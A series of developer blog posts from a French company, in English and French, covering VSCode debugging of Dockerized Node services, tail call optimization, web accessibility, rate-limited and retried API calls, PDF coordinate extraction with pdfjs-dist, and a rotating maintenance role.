-
How to use VSCode debugger with multiple Docker services
In my company, we use Docker and Docker Compose to run our Node.js services locally. Recently, I needed to configure and run the VSCode debugger on some of these services to debug a feature. There are a few things to know to achieve this, which I will share in this article with some basic examples.
Before we start, here are the points that will serve as a guideline in this tutorial:
- We want to keep using Docker and Docker compose to run our services, so that we have the proper environment for each of these services (environment variables, etc).
- We do not want to touch the current
docker-compose.yml
which could, potentially, be used in the future to deploy our services in production.
The Sample Application
Let’s start by creating a first service. It is a simple web server that concatenates two strings, a first name and a last name, and returns the result. This service will live in a
webapp/
directory at the root of the project.The Node.JS code
webapp/package.json
{ "name": "webapp", "scripts": { "start": "node src/server.js" }, "dependencies": { "express": "^4.16.1" } }
webapp/src/server.js
const express = require('express'); const app = express(); app.get('/fullname', (req, res) => { const firstName = req.query.firstNme; const lastName = req.query.lastName; res.send(`${firstName} ${lastName}`); }); app.listen(8080, () => console.log('Listening on port 8080...'));
webapp/Dockerfile
FROM node:16 WORKDIR /usr/src/app COPY package*.json ./ RUN npm install COPY . . EXPOSE 8080 CMD [ "node", "src/server.js" ]
webapp/.dockerignore
node_modules npm-debug.log
The Docker configuration
Now that the application code is written and the
Dockerfile
created, we can add adocker-compose.yml
file at the root of the project.docker-compose.yml
services: webapp: build: ./webapp ports: - "127.0.0.1:8080:8080"
Let’s start the service.
docker-compose build docker-compose up -d
If you go to http://localhost:8080/fullname?firstName=Foo&lastName=Bar, you should see the string
undefined Bar
, which is the unexpected behavior we will debug.Debugging the Application in Docker with VSCode
The debugger command
To allow the future VSCode debugger to attach to the Node service, we need to specify it when we start the process by adding the
--inpect
flag.Simply using
--inspect
or--inspect=127.0.0.1:9229
is not sufficient here because we need the9229
port to be accessible from outside the service, which is allowed by the0.0.0.0
address. So this command should only be used when you run the debugger in a Docker service. Otherwise, you would expose the port and the debugger to anyone on the Internet.webapp/package.json
{ "name": "webapp", "scripts": { "start": "node src/server.js", "start:docker:debug": "node --inspect=0.0.0.0:9229 src/server.js" }, "dependencies": { "express": "^4.16.1" } }
The Docker configuration
Following our guideline, we do not modify the initial
docker-compose.yml
but create a second one that extends the first one. We will use the[f
flag](https://docs.docker.com/compose/reference/#use–f-to-specify-name-and-path-of-one-or-more-compose-files) of thedocker-compose
CLI to use them both.docker-compose.debug.yml
services: webapp: command: [ 'npm', 'run', 'start:docker:debug' ] ports: - "127.0.0.1:8080:8080" - "127.0.0.1:9229:9229"
Then, to restart the service with debug mode enabled, you can use this command:
docker-compose build docker-compose -f docker-compose.yml -f docker-compose.debug.yml up -d
The service is now ready to be attached to the VSCode debugger.
Running the debugger with VSCode
At the root of your project, create a new directory
.vscode
and add the following configuration file..vscode/launch.json
{ "version": "0.2.0", "configurations": [ { "type": "node", "request": "attach", "name": "Debug webapp", "remoteRoot": "/app/src", "localRoot": "${workspaceFolder}/webapp/src" } ] }
When adding a breakpoint, the
remoteRoot
andlocalRoot
properties will match the file’s position in the VSCode environment and its location in the Docker service file system.You can now start the debugger on the
webapp
service. Open the debugging panel and select theDebug webapp
option. Then click on the play button.The debugger is started.
Add a breakpoint on line 6 and then go to http://localhost:8080/fullname?firstName=Foo&lastName=Bar.
The debugger stops on line 6 and we can see that the variable
firstName
isundefined
. The problem comes from line 5 where this is a typo on thefirstName
parameter name.To close the debugger, click on the button with a red square.
Debugging Multiple Docker Services
The Node.JS micro-service
To take this a step further, we will add another service, named
micro-service
, which will be called bywebapp
.First, copy and paste the contents of the
webapp
directory into another directory namedmicro-service
.Then, in the
webapp
directory, installaxios
and update the code as follows.npm install axios
webapp/src/server.js
const express = require('express'); const axios = require('axios'); const app = express(); app.get('/fullname', async (req, res, next) => { try { const { data: fullName } = await axios.get('<http://micro-service:8080/fullname>', { params: req.query }); res.send(fullName); } catch (err) { next(err); } }); app.listen(8080, () => console.log('Listening on port 8080...'));
The URL used line 8 is based on the name of the Docker service defined in the next section.
The Docker configuration
Add the new service to your
docker-compose.yml
. Note that it uses a different port so as not to conflict with thewebapp
service.docker-compose.yml
services: webapp: build: ./webapp ports: - "127.0.0.1:8080:8080" micro-service: build: ./micro-service ports: - "127.0.0.1:3001:8080"
Then, in your
docker-compose.debug.yml
, add the new service as well. Note that the debugger port is also different from the first one.docker-compose.debug.yml
services: webapp: command: [ 'npm', 'run', 'start:docker:debug' ] ports: - "127.0.0.1:8080:8080" - "127.0.0.1:9229:9229" micro-service: command: [ 'npm', 'run', 'start:docker:debug' ] ports: - "127.0.0.1:3001:8080" - "127.0.0.1:9230:9229"
Now build and start the two services.
docker-compose build docker-compose -f docker-compose.yml -f docker-compose.debug.yml up -d
Running multiple debuggers with VSCode
The last thing to do is to add the configuration of the second debugger in
launch.json
..vscode/launch.json
{ "version": "0.2.0", "configurations": [ { "type": "node", "request": "attach", "name": "Debug webapp", "remoteRoot": "/app/src", "localRoot": "${workspaceFolder}/webapp/src" }, { "type": "node", "request": "attach", "name": "Debug micro-service", "port": 9230, "remoteRoot": "/app/src", "localRoot": "${workspaceFolder}/micro-service/src" } ] }
Once the configuration is added, you can run the two debuggers for each service.
Once both debuggers are started, add a breakpoint in each service and go to http://localhost:8080/fullname?firstName=Foo&lastName=Bar. The application will stop successively on each breakpoint.
Your VSCode debugger is now fully configured to work with your Docker services. Congratulations!
-
Tail call: Optimizing recursion
Recursive functions are recommended to solve some problems, or imposed by languages like pure functional programming languages which don’t have
for
andwhile
loops. But recursion may comes at a price.Let’s use recursion to sum the elements of an array and understand how to optimize it with tail call optimization.
Note that I use JavaScript and although tail call optimization appeared in ES 6 specifications, most engines don’t implement it, including V8. Apple WebKit is one of the only ones where it is available. Other languages implementing tail call optimization are listed in the Wikipedia article about tail call.
Naive implementation
function sum(x) { // Base case. The sum of no elements is 0 if (x.length === 0) { return 0; } // Add the first element to the sum of all the other elements return x[0] + sum(x.slice(1)); }
It runs like this:
Comes the call stack. The call stack keeps track of where the interpreter is in a program that calls multiple functions. When the program calls a function, the interpreter adds that function on the top of the call stack. When the function is finished, the interpreter takes it off the stack.
Basically that’s how it computes
sum([1, 2, 3])
:[] is the base case. It returns 0. The interpreter has stacked 4 frames. Now it can start unstacking. With bigger arrays (about 10 000 elements depending on configuration), the call stack could reach its maximum size, crashing the program.
Tail call to the rescue
Tail call means that the final action of a function is a function call.
In the previous implementation, the final action of the function was an addition.
Let’s apply tail call. To do that, you have to add an accumulator argument to the function to save the partial sum. Using an accumulator is often required to apply tail call.
function sum(x, acc = 0) { // Base case: no more elements, returns the accumulator if (x.length === 0) { return acc; } // Call sum() without the first element // Add the first element to the accumulator // The recursive call to sum() is now the final action of the function return sum(x.slice(1), acc + x[0]); }
It runs like this:
The interpreter doesn’t have to go back to the previous
sum()
call. It only has to go back to the original callersumCaller()
. Thereby, the call stack doesn’t need to keep track of all calls tosum()
. That allows an optimization called tail call optimization. Interpreters that implement tail call optimization will only use one frame to keep track of the current call tosum()
.With tail call optimization, the call stack is like this:
Now, even with bigger arrays, the call stack will only use one frame to compute
sum()
.Be careful using recursion and think about tail call optimization.
-
Accessibility
Accessibility
Foreword
This is no techie article but it does indeed talk about tech.
Don’t expect code blocks below, but I trust I’ll broach some important thinking points. I’m also no definitive expert on the subject, but I have always found the discussed issue to be dramatically important in our ecosystem.
So please bear with me!
Let’s play a game
Imagine if you will that you’re surfing merrily on your favorite handheld device on a warm autumn afternoon. Battery chock-full of energy, 4G (5G even?) pouring kitten photos on your nice 90Hz OLED screen, fluid interface anticipating your every needs.
And all is well.
Now. Now, imagine that the sun suddenly shines through the low-hanging clouds and glares over your screen.
You’re handicapped.
Imagine your ISP decided you did not give them enough kitten-money and throttles your connection.
You’re handicapped.
Imagine it’s now winter and real darn cold. You’re wearing gloves, and the touch-screen doesn’t register your fingers.
You’re handicapped.
You get a notification. But your phone’s vibrator is deactivated. Lucky for you, it does ring. Unlucky for you, you work in a loud factory.
You’re handicapped.
BUT WAIT!
I’m no handicapped person I hear you cry out, slightly worried.
Well, you yourself might not be disabled, but you definitely will be handicapped from time to time, maybe less than others, maybe more, definitely for different reasons.
What of it?
Accessibility isn’t a buzzword or a fad. Accessibility isn’t just another metric or a Lighthouse report entry. Accessibility is actually one of the founding principles of the Internet (and maybe the most important one).
<aside> ℹ️ Don’t quote me on that. !! You might want to quote the Contract for the web’s principles 1 though.
</aside>
(huge) list of 584 companies supporting Contract for the web
All those guys and girls must sure know what they’re talking about.
And what do we find there first? Right at the top?
Ensure everyone can connect to the internet
And just a bit further?
Make the internet affordable and accessible to everyone
Although these two principles are aimed respectively at governments and companies, I do believe that everyone is part of the Web (World-Wide, remember?) and should act accordingly. And it has nothing to do whatsoever with our personal mental and / or physical abilities.
Accessibility is not about handicap. It is not about disability. It is no luxury. It’s the basis of an ever-expanding global network that cannot be allowed to leave anyone behind. It might sound cheesy, overly philosophical or even utopian, but it has direct implications for anyone building (for) the Web and potentially dire repercussions for anyone using it.
- Net neutrality is no joke
- No-one is immune to being handicapped
- Accessibility is a duty of those building tools online
- Accessibility is the standard and not the other way around
- Building accessible platforms means building better platforms tech-wise
- It’s no ethical conundrum, but it is an ethical imperative
Let us dive deeper then.
1. Net neutrality
This one might surprise you, as it’s not commonly associated with handicap, but it might just be as important for this topic. Indeed, as we thrive not to discriminate handicapped users, we also must fight against data discrimination.
If you’re throttled by your ISP, you’re not going to be able to use the Web normally.
Let’s never give up on this one. It affects every single person as independent decentralized internet access is still somewhat of a utopia.
I won’t go into too much details here, as so many much more relevant and informed people are fighting everyday for it.
Do go support them though!
2. Everyone is liable to handicap (yes even you)
Disability and handicap are two very different concepts. If a disabled person might be handicapped most of the time, a perfectly able person will be handicapped from time to time. As evolved as we may like to think our society is, able-ism is still very present on- and off-line. And it does not stop at too few wheelchair-accessible stores and homes.
It does not stop at allowing visually impaired people to use your website either. In this wonderful diversity of humans all around the
discglobe, everyone has different needs and different ways of consuming the Web. Be it by aid of a screen-reader, by zooming every webpage to 200% or by using a slow reconditioned device inherited from your third sibling. You just can NOT assume everyone is on a broadband connection enabled desktop with a fullHD screen in good lighting conditions.An example so dumb it might seem trivial is the difference between touch-devices and mouse usage. You just don’t click the way you tap. And the other way round. And you must take both use-cases into account. Especially since the borders between devices seems to be fading (looking at you convertible laptops and stylus phones).
3. As a developer it’s your job to build accessible platforms, not the user’s
You might rarely see a web developer job offer containing explicit mention of accessibility, but it’s not because it’s not part a of the tasks. It’s because it’s an implicit prerequisite. As a developer, it is your duty to take it into account.
If you love the Web (and I hope you do if you build it) you’re expected to take its philosophy into account. It’s right there in the name : World-Wide Web. World-Wide. Entire populations. The entire population.
4. Accessibility is no afterthought. It’s the basis.
It’s often thought that you can build stuff and make it accessible afterwards. That if you find some time at the end of the sprint you might either add aria attributes or enjoy a day off.
Well… NO. If you don’t include it from the ground up, you are discriminating users. And discrimination is bad, m’kay? It’s no quick-win to block people from using your app.
5. Virtuous circles and best practices
Think about it. If you build stuff right on one aspect, chances are other parts of the system will benefit from it.
Accessibility as a standard helps you build better tech.
Taking time to think about the tabbing index of your page to allow users to navigate it using their keyboard can only improve the zoning and hierarchy of the page.
Taking time to improve the contrast ratios of your UI will improve it’s design.
Taking time to label your actionable elements will also improve the page’s SEO.
Lowering your data payloads for low-bandwidth users will speed up page load for everyone.
It’s win-win on so many levels.
6. Ethics bro
Ethics has always had bad press if any press at all. The trolley problem might spring to mind. Or NBC’s “The good place”. Or even the bible, perhaps?
All things whatsoever ye would that men should do to you, do ye even so to them.
Erm… English please?
Do unto others as you would have them do unto you.
That’s about it. As a Web-builder, you should create software that treats people ethically. Period. No maybe, no buts, no ifs, you just cannot expect people to use your software in ideal conditions and according to your own plan.
You cannot predict the every use case, nor should you, you can just embrace accessibility as one of the basic building blocks of your app to ensure no one is left behind.
Yes, even you.
Footnotes
[1] Principles for the web
- “Ensure everyone can connect to the internet”.
- “Keep all of the internet available, all of the time”.
- “Respect and protect people’s fundamental online privacy and data rights”.
- “Make the internet affordable and accessible to everyone”.
- “Respect and protect people’s privacy and personal data to build online trust”.
- “Develop technologies that support the best in humanity and challenge the worst”.
- “Be creators and collaborators on the Web”.
- “Build strong communities that respect civil discourse and human dignity”.
- “Fight for the Web”.
-
Comment bétonner l’intégration d’une API
Quand on développe une application d’une certaine taille, on fait généralement appel à des solutions tierces pour certaines fonctionnalités qui ne sont pas “coeur de métier”, ou tout simplement pour des besoins annexes à l’application (CRM et compagnie).
Et si tout va bien, cette solution va nous fournir des API pour échanger avec elle.
Parfois ces API fonctionnent parfaitement, et tout le monde est content. Spoiler alert : c’est loin d’être toujours le cas !
Le but n’étant de taper sur personne, nous allons imaginer une API fictive, qui fonctionnera plus ou moins bien pour démontrer ce qui m’arrange.
Voilà ce qui va se passer :
On dispose d’une liste de villes pour lesquelles on a besoin de récupérer la météo.
On va aller de l’implémentation la plus simple à la plus robuste.
Si vous maîtrisez JavaScript, vous devriez connaître au moins jusqu’au niveau 2.
Mais j’ai bon espoir de vous faire découvrir des outils sympa dans la suite, restez jusqu’au bout (le 7ème va vous étonner).
Si vous voulez tester au fil de l’eau, tous les exemples sont disponibles ici : https://replit.com/@rsauget/blog-api
Niveau 0 – naïf
import _ from 'lodash'; async function getWeather({ city }) { // On ajoute un peu de délai pour se rendre compte de l'impact await new Promise((resolve) => setTimeout(resolve, 1000)); return _.sample(['Soleil', 'Nuages', 'Pluie', 'Neige']); } const cities = ['Lyon', 'Montpellier', 'Paris']; const results = {}; for (const city of cities) { results[city] = await getWeather({ city }); } console.log(results); // { // Lyon: 'Soleil', // Montpellier: 'Soleil', // Paris: 'Pluie', // }
On a ici une première version très simple : on boucle sur les villes demandées, et pour chacune on va récupérer le temps qu’il y fait. On agrège les résultats dans un objet.
Dans un monde parfait, cette solution pourrait convenir.
En pratique, vous aurez surement noté plein de défauts : c’est bien le but, et d’ici quelques minutes j’espère que nous en aurons traité la majorité !
Le premier défaut de cette version naïve est d’effectuer une requête après l’autre, de façon séquentielle, comme si on avait besoin de la météo de la première ville avant de demander la météo de la seconde. On sent qu’il y a mieux à faire.
Version 1 – exécution “parallèle”
Le but n’étant pas de rentrer dans le détail de la gestion de l’asynchronicité en Javascript, vous me pardonnerez le raccourci de parler d’exécution parallèle.
On va donc utiliser un
Promise.all
pour paralléliser les appels à notre service externe :import _ from 'lodash'; async function getWeather({ city }) { await new Promise((resolve) => setTimeout(resolve, 1000)); return _.sample(['Soleil', 'Nuages', 'Pluie', 'Neige']); } const cities = ['Lyon', 'Montpellier', 'Paris']; // On construit l'objet résultant à partir de paires [clé, valeur] const results = Object.fromEntries( await Promise.all( cities.map( async (city) => [city, await getWeather({ city })], ), ), ); console.log(results); // { // Lyon: 'Soleil', // Montpellier: 'Soleil', // Paris: 'Pluie', // }
Ca fonctionne bien parce qu’on a trois villes, et que notre API peut gérer 3 requêtes concurrentes les doigts dans le nez.
Essayez d’en mettre 1000 pour voir : il y a de bonnes chances que l’API vous dise gentiment de vous calmer.
Dans le meilleur des cas, ce sera une réponse HTTP cordiale :
429 - Too Many Requests
.Mais ça peut passer par un timeout, une déconnexion impromptue (bonjour
ECONNRESET
), une erreur500
, ou même vous faire bloquer votre IP. Pas génial.Pour pallier ce problème, on va limiter le nombre de requêtes concurrentes.
Version 2 – parallèle, mais pas trop
On pourrait traiter les requêtes par paquets de 10 par exemple, mais l’idéal serait une fenêtre glissante : on en lance 10, et à chaque fois qu’une termine on en relance une, de sorte qu’on en ait toujours 10 qui tournent.
Il y a une petite bibliothèque qui permet précisément de faire ça :
p-limit
(https://www.npmjs.com/package/p-limit)import _ from 'lodash'; import pLimit from 'p-limit'; async function getWeather({ city }) { await new Promise((resolve) => setTimeout(resolve, 10)); return _.sample(['Soleil', 'Nuages', 'Pluie', 'Neige']); } const cities = _.range(1000).map(n => `Ville ${n}`); // Vous pouvez jouer avec la limite pour voir l'impact sur le temps d'exécution const limit = pLimit(10); // On va wrapper l'appel avec p-limit, qui gèrera quand déclencher la fonction const limitedGetWeather = (city) => limit( async () => [city, await getWeather({ city })], ); const results = Object.fromEntries( await Promise.all( cities.map(limitedGetWeather), ), ); console.log(results);
Il y a d’ailleurs toute une famille de bibliothèques autour de
p-limit
:p-all
,p-map
…Je vous invite à y jeter un oeil, elles sont bien pratiques et assez légères.
En jouant sur le nombre de requêtes concurrentes qu’on autorise, on peut arriver à coller à peu près à ce que tolère l’API.
Mais on peut faire mieux.
Version 3 – parallèle juste ce qu’il faut
La plupart des API explicitent leur politique de rate-limit dans leur documentation. Elle est généralement exprimée en nombre de requêtes par unité de temps, par exemple 10000 requêtes par minute.
Et bien là encore, une bibliothèque qui gère ça très bien :
bottleneck
(https://www.npmjs.com/package/bottleneck)Contrairement à
p-limit
,bottleneck
est assez costaude, mais gère tout un tas de situations :- “réservoirs” (on vous redonne 100 requêtes toutes les 10 secondes par exemple)
- groupes : un ensemble de limiteurs similaires identifiés par une clé
- distribué : on peut le connecter à un redis et le limiteur est synchronisé entre plusieurs services
- politique de “débordement” : si on fait beaucoup plus de requêtes que la limite autorisée, les appels vont s’accumuler dans la file d’attente ; on peut décider de limiter la taille de cette file et de définir ce qu’on fait quand ça “déborde”
- etc.
On peut ainsi traiter à peu près tous les cas de figure. Mais pour aujourd’hui, restons sur l’exemple simple de 10000 requêtes par minute.
import _ from 'lodash'; import Bottleneck from 'bottleneck'; // Vous pouvez jouer avec les limites pour voir l'impact sur le temps d'exécution const limiter = new Bottleneck({ // 10000 requêtes par minute => 6ms entre chaque requête minTime: 6, // c'est généralement une bonne idée d'aussi limiter la concurrence maxConcurrent: 5, }); // On wrap l'appel à l'API avec bottleneck, pour en limiter le flux const getWeather = limiter.wrap(async ({ city }) => { await new Promise((resolve) => setTimeout(resolve, 10)); return _.sample(['Soleil', 'Nuages', 'Pluie', 'Neige']); }); const cities = _.range(1000).map(n => `Ville ${n}`); const results = Object.fromEntries( await Promise.all( cities.map( async (city) => [city, await getWeather({ city })], ), ), ); console.log(results);
Grâce à bottleneck on peut être au plus proche du rate limit de l’API, et ainsi aller le plus vite possible sans se faire flasher.
Version 4 – gestion d’erreur
Je crois que c’est La Fontaine qui disait que rien ne sert de courir si c’est pour se gauffrer sur la première erreur venue (https://fr.wikipedia.org/wiki/Le_Lièvre_et_la_Tortue_(La_Fontaine)).
Et bien c’est exactement ce qu’on est en train de faire. Si une seule requête échoue, elle entraîne toutes les autres dans sa chute, et on se retrouve sans aucun résultat.
Ça peut être souhaitable vous me direz. Mais supposons pour l’exemple qu’on préfère savoir le temps qu’il fait dans 99% des villes plutôt que dans aucune.
En plus, le
Promise.all
a un comportement qui peut surprendre : toutes nos requêtes vont s’exécuter, quoi qu’il arrive. Certaines peuvent faire des erreurs, ça n’arrête pas les suivantes pour autant. Et cerise sur le gâteau, l’erreur qui va remonter au final sera seulement la première de la liste.En résumé, en cas d’erreur il est difficile de savoir exactement ce qui s’est passé et ce qui a fonctionné ou pas. Ça va qu’on ne fait que des
GET
, imaginez si on était en train de passer des transactions bancaires…On peut mettre un
try/catch
dans notre fonctiongetWeather
, et traiter chaque erreur individuellement. Ça laisse la possibilité de re-throw l’erreur en cas de panique.Mais si on souhaite gérer les erreurs dans leur ensemble, on a une autre fonction :
Promise.allSettled
(disponible à partir de node 12.10.0 https://node.green/#ES2020-features–Promise-allSettled).import _ from 'lodash'; import Bottleneck from 'bottleneck'; const limiter = new Bottleneck({ minTime: 6, maxConcurrent: 5, }); const getWeather = limiter.wrap(async ({ city }) => { await new Promise((resolve) => setTimeout(resolve, 10)); // On a 1 chance / 10 d'avoir une erreur if (_.random(10) === 0) throw new Error('ECONNRESET'); return _.sample(['Soleil', 'Nuages', 'Pluie', 'Neige']); }); const cities = _.range(1000).map(n => `Ville ${n}`); // On zip les villes avec le résultat des requêtes pour faire des paires [ville, resultat] const results = _.zip( cities, await Promise.allSettled( cities.map( (city) => getWeather({ city }), ), ), ); // Chaque résultat de Promise.allSettled est de la forme : { status: 'fulfilled', value: 'Résultat' } // ou { status: 'rejected', reason: 'Erreur' } // Ce qui avec le zip donne un results de la forme : // [ // ['Ville 1', { status: 'fulfilled', value: 'Soleil' }], // ['Ville 2', { status: 'fulfilled', value: 'Pluie' }], // ['Ville 3', { status: 'rejected', reason: 'ECONNRESET' }], // ['Ville 4', { status: 'fulfilled', value: 'Pluie' }], // ] // _.partition va nous séparer la liste des résultats en deux listes, selon que la requête a réussi ou non const [successes, failures] = _.partition(results, ['1.status', 'fulfilled']); if (!_.isEmpty(failures)) { console.error( _.chain(failures) .groupBy('1.reason') .mapValues((results) => _.map(results, _.first)) .value(), ); } console.log( _.chain(successes) .fromPairs() .mapValues('value') .value(), );
Promise.allSettled
nous retourne la description du résultat de l’ensemble de nos requêtes, qu’elles aient réussi ou pas. Libre à nous de gérer les succès et erreurs comme on le souhaite.Maintenant, toutes les erreurs ne se valent pas.
Si on demande une ville qui n’existe pas par exemple, on peut se contenter de retourner une météo
undefined
.Mais si le service est juste momentanément indisponible, on peut vouloir essayer une nouvelle fois.
Version 5 – on persévère
Un des grands préceptes Shadok nous enseigne que plus ça rate, plus on a de chance que ça marche (https://fr.wikipedia.org/wiki/Les_Shadoks).
Dans notre cas, si l’API nous renvoie une erreur momentanée, ou indéterminée, on va vouloir retenter notre chance, jusqu’à ce que ça retombe en marche.
Vous me voyez venir ?
Bien vu, j’ai une bibliothèque pour ça :
async-retry
(https://www.npmjs.com/package/async-retry)Elle permet de réessayer une requête en erreur, avec de chouettes options :
- délai entre les tentatives, avec un facteur si on veut l’augmenter de manière exponentielle, et également un facteur aléatoire si on veut
- limite en nombre de tentatives et/ou en temps
- annuler les tentatives restantes, en cas d’erreur fatale par exemple
On peut ainsi faire quelque chose comme :
import _ from 'lodash'; import Bottleneck from 'bottleneck'; import retry from 'async-retry'; const limiter = new Bottleneck({ minTime: 6, maxConcurrent: 5, }); const getWeather = limiter.wrap( async () => { await new Promise((resolve) => setTimeout(resolve, 10)); if (_.random(10) === 0) throw new Error('ECONNRESET'); return _.sample(['Soleil', 'Nuages', 'Pluie', 'Neige']); }, ); // On wrap l'appel avec async-retry, pour la gestion d'erreur const getWeatherRetry = async ({ city }) => retry( async () => getWeather({ city }), { // On retente toutes les 100ms dans la limite de 5 fois retries: 5, minTimeout: 100, factor: 1, } ); const cities = _.range(1000).map(n => `Ville ${n}`); const results = _.zip( cities, await Promise.allSettled( cities.map( (city) => getWeatherRetry({ city }), ), ), ); const [successes, failures] = _.partition(results, ['1.status', 'fulfilled']); if (!_.isEmpty(failures)) { console.error( _.chain(failures) .groupBy('1.reason') .mapValues((results) => _.map(results, _.first)) .value(), ); } console.log( _.chain(successes) .fromPairs() .mapValues('value') .value(), );
Attention toutefois : c’est sympa de réessayer les requêtes jusqu’à ce que ça marche, comme un bourrin. Quand on
GET
de la donnée comme ici, il ne peut rien se passer de trop gênant. Si la requête fait des modifications en revanche, ça n’est pas toujours une bonne idée.Prenons un exemple au hasard : imaginez que Netflix fasse ça sur la requête de paiement de votre abonnement, et que celle-ci soit rejouée 10 fois. Eh ben ça va pas faire une soirée très “chill”, comme disent les jeunes.
Il faut donc toujours se poser la question de l’impact de faire la requête plusieurs fois sur le fonctionnement du système, avant de mettre en place une telle logique.
C’est aussi sympa pour l’API de mettre un délai exponentiel. Si elle est sous l’eau, vous lui laisserez ainsi une chance de reprendre ses esprits avant de vous répondre.
Conclusion
En combinant une logique de rate-limit avec une bonne gestion d’erreur, comme on a pu le faire avec le combo gagnant
bottleneck
+async-retry
, on arrive à un code relativement tout-terrain.On l’utilise chez Indy pour certaines synchronisations un peu capricieuses, et ça tourne comme une horloge.
Et pour finir sur une note plus sérieuse, gardez à l’esprit qu’il y a aussi des dev derrière les API sur lesquelles on aime râler, et que c’est très difficile, voire impossible, de fournir un service parfaitement fiable. Soyez compréhensifs, et raisonnables dans vos intégrations, ne faites pas les bourrins 😉
-
Récupérer les coordonnées dans un fichier pdf avec pdfjs-dist
Contexte
Chez Indy on fait de la compta :p. Nous devons donc produire différents documents (en pdf) qui seront soit télétransmis soit utilisés par nos clients afin de remplir les mêmes documents sur notre joli site des impôts.
Presque chaque année, les documents changent (dans notre jargon on parle de millésime) et on doit mettre à jour notre générateur de document. Les documents sont mis à disposition par l’État et sont des PDF sans zone de texte clairement définie.
Du coup nous prenons le pdf comme une image de fond et nous écrivons par dessus les bonnes données de chaque client. Il nous faut donc les bonnes coordonnées dans le pdf.
Nous avons plusieurs problématiques.
Différence entre PDFs
La première difficulté est de voir la différence entre 2 millésimes. Nous utilisons pour ça l’outil diff-pdf (https://vslavik.github.io/diff-pdf/).
Pour l’installer sur mac c’est facile (pour les autres OS je vous laisse regarder ici : https://github.com/vslavik/diff-pdf#obtaining-the-binaries) :
brew install diff-pdf
Ensuite on peut facilement voir la différence entre 2 pdf avec la commande suivante :
diff-pdf --view 2033-sd_3330.pdf 2033-sd_3723.pdf
La commande ouvrira une visionneuse (par contre c’est moche 😛).
Récupérer les coordonnées dans un pdf
Afin d’avoir les coordonnées, nous pouvons utiliser facilement des outils web. Pour les curieux, le lien vers le code final se trouve en bas de l’article.
Nous commençons par créer le fichier html. Nous avons besoin d’un canvas. Nous allons aussi créer un span où on mettra les coordonnées.
<div id="app"> <div class="coord">Current: <span id="coord"></span></div> <canvas id="canvas"></canvas> </div>
Un peu de css pour bien voir les positions.
.coord { background-color: black; color: cornsilk; width: 135px; position: fixed; }
Puis nous allons créer le fichier index.ts
import { pdf } from './pdf'; import * as pdfjsLib from 'pdfjs-dist'; import pdfjsWorkerEntry from 'pdfjs-dist/build/pdf.worker.entry.js'; pdfjsLib.GlobalWorkerOptions.workerSrc = pdfjsWorkerEntry; const canvas = document.getElementById('canvas') as HTMLCanvasElement; const ctx = canvas.getContext('2d') as CanvasRenderingContext2D; const load = async () => { // le pdf est en base64 car le site des impôts n'accepte pas les requêtes cors const pdfDoc = await pdfjsLib.getDocument(pdf).promise; const page = await pdfDoc.getPage(1); const viewport = page.getViewport({ scale: 1.5 }); const renderContext = { canvasContext: ctx, viewport: viewport, }; canvas.height = renderContext.viewport.height; canvas.width = renderContext.viewport.width; await page.render(renderContext).promise; function getMousePos(e: MouseEvent) { var rect = canvas.getBoundingClientRect(); return { x: e.clientX - rect.left, y: e.clientY - rect.top }; } canvas.addEventListener( 'click', function (e) { const pos = getMousePos(e); /// check x and y against the grid const [x, y] = viewport.convertToPdfPoint(pos.x, pos.y) as any; const currPos = [parseInt(x, 10), parseInt(y, 10)]; document.getElementById( 'coord' )!.textContent = `${currPos[0]}, ${currPos[1]}`; }, false ); }; load();
La ligne suivante permet de faire fonctionner correctement pdfjs-dist avec un worker.
import pdfjsWorkerEntry from 'pdfjs-dist/build/pdf.worker.entry.js'; pdfjsLib.GlobalWorkerOptions.workerSrc = pdfjsWorkerEntry;
Le point important du code est à la ligne 33 avec viewport.convertToPdfPoint. Cette méthode permet d’avoir les bonnes coordonnées à l’intérieur du pdf. Elle va convertir le x, y du navigateur en coordonnées du pdf.
Une fois que vous aurez cliqué sur une zone du pdf, vous allez voir les coordonnées dans le bloc noir en haut à gauche.
Vous pouvez voir le résultat ici : https://typescript-qgcwq5.stackblitz.io
Et voir le code là : https://stackblitz.com/edit/typescript-qgcwq5
❗ Le fichier pdf.ts est là car :
- stackblitz (free) ne permet pas de déposer un fichier
- impossible de récupérer les fichiers pdf via fetch directement par le site des impôts (ils bloquent les requêtes cors)
-
Les Caribous d’Indy 🦌
Dans une startup on grandit vite, on sort rapidement de nouvelles fonctionnalités et de nouveaux projets. Les équipes tech & produit passent la majorité de leur temps sur ces nouveaux sujets pour toujours répondre au mieux aux besoins des clients.
Il ne faut cependant pas négliger la maintenance de l’existant pour bâtir de solides fondations. Plus les fonctionnalités et projets s’accumulent, et plus le temps à accorder à la maintenance devient important. C’est pourquoi chez Indy nous avons mis en place ce que l’on appelle les Caribous 🦌.
Le Caribou qu’est-ce que c’est ?
Le Caribou est la personne en charge de la maintenance. C’est elle qui, en priorité, doit se charger de :
- répondre aux tickets sur le support interne
- débloquer ses collègues (au support notamment) en cas de problèmes
- surveiller les alertes remontées par notre monitoring (ex: issues Sentry*) et alerter les équipes en cas de gros pépin
- vérifier et régler les incohérences de données trouvées par nos algorithmes d’audit
- s’assurer de la bonne santé de nos tâches asynchrones (ex: envoi des liasses à l’administration fiscale)
Quel intérêt ?
L’intérêt de dédier une personne à ces tâches est notamment de soulager les autres devs de l’équipe. En effet, avant que nous ne mettions en place ce système de Caribou, chaque dev avait l’obligation d’activer ses notifications slack sur nos différents channels d’alerte, et donc à tout moment pouvait être interrompu dans son travail. Et vous savez, comme moi, à quel point cela peut être difficile de changer de contexte régulièrement !
Aujourd’hui, quand nous ne sommes pas Caribou, nous pouvons nous concentrer pleinement sur les tâches en cours, tout en sachant que les problèmes seront bien traités ! Bien sûr il n’est pas non plus interdit de donner un coup de main au caribou entre deux tâches 😉 !
Chez Indy, et plus particulièrement dans mon équipe ScaleOps, le Caribou a été un véritable tournant dans l’organisation de l’équipe. Cela a permis à notre PM de se décharger d’une grosse part du temps qu’il passait à répondre aux tickets. Cela a aussi permis à tous les devs de l’équipe de se sentir investi équitablement dans les tâches de maintenance et de soutien aux autres équipes.
Comment ça fonctionne ?
Chez Indy, libre à chaque équipe de mettre en place ou non le système de Caribou et de la manière qu’elle le souhaite.
Chez ScaleOps, nous avons établi un planning sur l’année pour attribuer le rôle de Caribou à tour de rôle chaque semaine à un dev différent. En cas de vacances ou d’absence, on s’organise dans l’équipe pour modifier l’ordre d’attribution.
Le Caribou occupe le rôle pour une semaine entière, ce qui permet aux autres de vraiment se concentrer sur leurs tâches de développement, et en même temps ne dure pas trop longtemps, pour éviter au Caribou de se lasser des tâches de maintenance et de trop couper avec les sujets de roadmap en cours.
Organisation du Caribou chez ScaleOps
